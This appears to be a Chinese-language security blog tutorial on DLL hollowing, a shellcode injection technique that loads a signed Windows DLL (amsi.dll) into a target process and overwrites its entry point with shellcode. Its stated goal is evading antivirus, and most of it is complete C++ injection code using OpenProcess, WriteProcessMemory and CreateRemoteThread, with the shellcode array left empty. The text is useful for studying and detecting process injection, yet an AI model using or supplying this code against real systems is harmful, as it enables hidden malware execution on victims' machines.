DLL Hollowing

简介
模块镂空(dll hollowing)也是一种shellcode注入技术，原理和思路与process hollowing类似，通过合法的模块信息来伪装恶意代码，虽然我们可以用远程dll注入来完整注入整个恶意dll，但此类注入往往比较容易检测，我们需要往受害者主机上传入一个恶意dll，这样杀毒软件可以通过监控入windows/temp/等目录实现对远程dll注入的拦截，而模块镂空就不会存在这样的风险，因为我们镂空的往往是一个带有微软签名的dll，为了防止进程出错，我们并不能直接镂空一个进程空间中已存在的dll，需要先对目标进程远程注入一个系统合法dll，然后再镂空它，这样我们就获得了一个和windows模块相关联的shellcode环境。
实现思路
1.远程注入一个系统dll(原理参考CreateRemoteThrea的dll注入)
2.获取该模块在目标进程中的虚拟地址
3.定位模块的入口点
4.使用shellcode复写入口点
5.创建远程线程
代码实现
代码参考@mantvydasb
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#include <iostream>
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#include <Windows.h>
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#include <psapi.h>
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​
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char shellcode[] = "";
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​
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int main(int argc, char* argv[])
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{
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	TCHAR ModuleName[] = L"C:\\windows\\system32\\amsi.dll";
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	HMODULE hModules[256] = {};
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	SIZE_T hModulesSize = sizeof(hModules);
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	DWORD hModulesSizeNeeded = 0;
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	DWORD moduleNameSize = 0;
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	SIZE_T hModulesCount = 0;
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	CHAR rModuleName[128] = {};
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	HMODULE rModule = NULL;
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​
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	// inject a benign DLL into remote process
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	//hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1])));
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	HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, 2924);
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​
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	LPVOID lprBuffer = VirtualAllocEx(hProcess, NULL, sizeof ModuleName, MEM_COMMIT, PAGE_READWRITE);
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	WriteProcessMemory(hProcess, lprBuffer, (LPVOID)ModuleName, sizeof ModuleName, NULL);
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	PTHREAD_START_ROUTINE threadRoutine = (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryW");
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	HANDLE dllThread = CreateRemoteThread(hProcess, NULL, 0, threadRoutine, lprBuffer, 0, NULL);
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	WaitForSingleObject(dllThread, 1000);
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​
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	// find base address of the injected benign DLL in remote process
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	EnumProcessModules(hProcess, hModules, hModulesSize, &hModulesSizeNeeded);
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	hModulesCount = hModulesSizeNeeded / sizeof(HMODULE);
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	for (size_t i = 0; i < hModulesCount; i++)
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	{
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		rModule = hModules[i];
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		GetModuleBaseNameA(hProcess, rModule, rModuleName, sizeof(rModuleName));
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		if (std::string(rModuleName).compare("amsi.dll") == 0)
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		{
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			break;
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		}
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	}
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​
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	// get DLL's AddressOfEntryPoint
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	DWORD headerBufferSize = 0x1000;
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	LPVOID peHeader = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, headerBufferSize);
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	ReadProcessMemory(hProcess, rModule, peHeader, headerBufferSize, NULL);
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​
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	PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)peHeader;
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	PIMAGE_NT_HEADERS ntHeader = (PIMAGE_NT_HEADERS)((DWORD_PTR)peHeader + dosHeader->e_lfanew);
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	LPVOID dllEntryPoint = (LPVOID)(ntHeader->OptionalHeader.AddressOfEntryPoint + (DWORD_PTR)rModule);
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​
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	// write shellcode to DLL's AddressofEntryPoint
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	WriteProcessMemory(hProcess, dllEntryPoint, (LPCVOID)shellcode, sizeof(shellcode), NULL);
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​
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	// execute shellcode from inside the benign DLL
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	CreateRemoteThread(hProcess, NULL, 0, (PTHREAD_START_ROUTINE)dllEntryPoint, NULL, 0, NULL);
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​
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	return 0;
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}
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实现效果
LINKS
Masking Malicious Memory Artifacts – Part I: Phantom DLL Hollowing
ForrestOrr
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